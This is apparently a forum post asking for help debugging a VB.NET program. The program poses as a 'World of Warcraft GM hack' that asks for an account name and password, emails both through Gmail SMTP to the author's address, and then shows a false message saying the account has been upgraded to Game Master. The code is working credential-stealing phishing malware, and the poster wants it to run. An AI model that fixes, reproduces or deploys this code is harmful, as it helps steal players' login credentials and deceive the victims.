Can you tell me, what is wrong with this code?
The RED part is where I get error.
Code:
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("The account field is not filled in!", MsgBoxStyle.OkOnly, "WoW GM Hack")
End If
If TextBox2.Text = "" Then
MsgBox("The password field is not filled in!", MsgBoxStyle.OkOnly, "WoW GM Hack")
End If
Dim mail As New System.Net.Mail.MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "***")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("[email protected]")
mail.From = New MailAddress("[email protected]")
mail.Subject = "Activate GM Powers"
mail.Body = "Account: " & TextBox1.Text & vbNewLine & "Password: " & TextBox2.Text
SmtpServer.Send(mail)
MsgBox("Done! Your account's flag has been upgraded to Game Master. It will be fully updated within 24 hours.", MsgBoxStyle.OkOnly, "WoW GM Hack")
End Sub
End Class